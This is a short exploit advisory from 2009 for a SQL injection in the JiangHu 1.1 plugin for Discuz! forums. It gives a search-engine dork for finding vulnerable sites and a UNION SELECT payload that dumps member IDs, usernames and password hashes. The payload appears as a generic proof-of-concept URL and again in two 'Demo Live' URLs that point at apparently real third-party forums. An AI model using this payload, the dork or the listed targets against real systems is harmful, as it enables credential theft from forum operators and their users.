Discuz! JiangHu 1.1 SQL Injection

`=========================================================  
Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability  
=========================================================  
  
========================[Author]=========================   
  
[+] Founded : ZhaoHuAn   
[+] Contact : ZhengXing[at]shandagames[dot]com   
[+] Blog : http://www.patching.net/zhaohuan/   
[+] Date : Feb, 9th 2009   
[+] Update : Sep, 1th 2009   
  
========================[Soft Info]======================   
  
Software: Discuz! Plugin JiangHu Inn   
Version : 1.1   
Vendor : http://www.discuz.com  
d0rk : inurl:forummission.php   
  
  
  
[-] Exploit:  
[+] and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--  
  
[-] SqlI PoC:  
[+] http://target/[path]/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--  
  
[+] Demo Live:  
[-] http://www.palslp.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--  
  
[-] http://bbs.sunspals.com/forummission.php?index=show&id=24 and+1=2+union+select+1,2,group_concat(uid,0x3a,username,0x3a,password),4,5,6,7,8,9,10,11 from cdb_members--  
  
  
/---------------------------------------------www.zhaohuan.net-------------------------------------------------\   
  
Greetz : Snda Security Team  
& Normal is boring - -!  
  
\--------------------------------------------------------------------------------------------------------------/  
  
`